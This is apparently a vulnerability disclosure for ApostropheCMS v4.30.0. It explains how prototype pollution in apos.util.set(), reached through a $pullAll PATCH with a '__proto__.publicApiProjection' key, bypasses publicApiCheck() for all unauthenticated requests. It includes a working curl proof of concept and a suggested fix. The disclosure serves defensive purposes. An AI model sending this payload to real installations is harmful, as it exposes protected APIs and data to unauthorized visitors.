Summary

apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.

A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.

Details

Root Cause — apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)

The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:

set(o, path, v) {
  path = path.split('.');
  for (i = 0; i < path.length - 1; i++) {
    o = o[path[i]];   // when path[i] === '__proto__', o becomes Object.prototype
  }
  o[path[i]] = v;     // mutates Object.prototype
}

Source — implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)

User-controlled keys from the $pullAll operator are passed directly to apos.util.set():

_.each(patch.$pullAll, function(val, key) {
  cloneOriginalBase(key);               // uses _.has (hasOwnProperty)
  self.apos.util.set(patch, key, ...);  // key is fully attacker-controlled
});

cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().

The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.

Gadget — publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)

publicApiCheck(req) {
  if (!self.options.publicApiProjection) {
    if (!self.canAccessApi(req)) {
      throw self.apos.error('notfound');
    }
  }
}

Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.

Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:

!self.options.publicApiProjection

evaluates to false for all modules.

As a result, the authorization check is skipped for every subsequent request handled by the process.

Proof of Concept

Environment: ApostropheCMS v4.30.0, Node.js, MongoDB

Prerequisites: Editor-level credentials

Step 1 — Confirm Endpoint Is Protected (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"name":"notfound","data":{},"message":"notfound"}

Step 2 — Obtain Editor Token

TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"..."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 3 — Poison Object.prototype via $pullAll

curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Cookie: apos-testapp.csrf=csrf" \
  -H "X-XSRF-TOKEN: csrf" \
  -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'

Response:

HTTP/1.1 200 OK

Step 4 — Authorization Bypass Confirmed (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"pages":0,"currentPage":1,"results":[]}

The endpoint now returns a valid paginated response instead of notfound.

No credentials are supplied.

Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.

Cleanup

The pollution persists until the Node.js process is restarted.

Impact

Vulnerability Type

Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)

Who Is Impacted

Any ApostropheCMS installation where at least one editor-level account exists.

This is the default configuration for multi-user CMS deployments.

Security Impact

A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.

All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().

Verified affected endpoints include:

• @apostrophecms/user
• @apostrophecms/global

Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.

The bypass affects every unauthenticated visitor until the server is restarted.

Anticipated Objections

"Editors are trusted users."

Editors are not expected to modify server-wide authorization behavior or expose protected APIs to unauthenticated users.

This crosses a clear privilege boundary.

"Only public APIs become accessible."

The vulnerability alters the outcome of the authorization decision itself.

Whether particular documents are subsequently filtered by visibility rules does not negate the bypass of the authentication gate.

"Requires restart to clear."

Persistence is not required for impact.

The bypass remains effective for the full lifetime of the process and affects every subsequent request handled by the server.

Suggested Fix

Reject dangerous prototype-related path segments before traversal:

if (
  p === '__proto__' ||
  p === 'constructor' ||
  p === 'prototype'
) {
  return;
}

Apply the same validation both:

1. Inside apos.util.set()
2. Before passing user-controlled keys into apos.util.set() from implementPatchOperators()